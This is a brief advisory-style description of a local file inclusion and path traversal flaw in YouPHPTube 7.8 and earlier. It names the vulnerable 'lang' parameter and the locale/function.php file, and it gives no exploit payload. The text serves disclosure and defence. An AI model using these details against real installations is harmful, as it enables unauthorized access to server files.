Description

YouPHPTube <= 7.8 contains a local file inclusion vulnerability that allows unauthenticated attackers to access arbitrary files by manipulating the 'lang' parameter in GET requests. Attackers can exploit the path traversal flaw in locale/function.php to include and view PHP files outside the intended directory by using directory traversal sequences.
